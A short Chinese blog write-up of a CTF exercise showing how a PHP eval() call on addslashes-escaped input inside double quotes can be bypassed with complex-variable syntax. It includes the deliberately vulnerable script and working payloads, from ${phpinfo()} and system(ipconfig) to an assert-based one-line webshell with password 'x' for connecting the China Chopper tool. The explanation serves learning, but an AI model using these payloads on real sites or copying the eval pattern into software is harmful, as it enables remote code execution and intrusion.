很早的时候,渗透吧群里的朋友提出的一个问题,自己也是迷迷糊糊,遂记之如下!
0x00 示例ctf.php
<?php
@$_str = $_GET['str'];
//print_r($_str);
$_temp = '$str="'.addslashes($_str).'";';
@print_r($_temp);
@eval('$str="'.addslashes($_str).'";');
?>
0x01 绕过执行代码
访问链接如下:
http://www.test.com/ctf.php?str=${phpinfo()}
就可成功执行任意的代码了!
0x02 原理分析
涉及到php复杂变量相关的知识,找了网上的很多博客,居然相关资料很少...
-
eval()
函数函数的作用如下:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。 - 双引号作用
之前的一篇文章《PHP中的单双引号区别》(https://blog.dyboy.cn/program/12.html) 有讲
在eval()函数内部作为php代码执行,这里就可以解析双引号中的变量 - PHP复杂变量
{}不能被转移,其包裹的部分可当作变量
小东人工翻译一下就是${phpinfo()}和{${phpindo()}}是一样的,花括号{}只是用于区别变量边界的标识符
0x03 Getshell
那么有了eval()
该如何执行任意代码呐?
简单尝试:
http://www.test.com/ctf.php?str=${${system(ipconfig)}}
构造我们的小马,便于连接菜刀:
http://www.test.com/ctf.php?str=${${assert($_GET[x])}}&x=phpinfo()
这里为了便于浏览,我改成了
GET
型参数,菜刀链接网址如下:http://www.test.com/ctf.php?str=${${assert($_POST[x])}}
密码:
x
成功拿到shell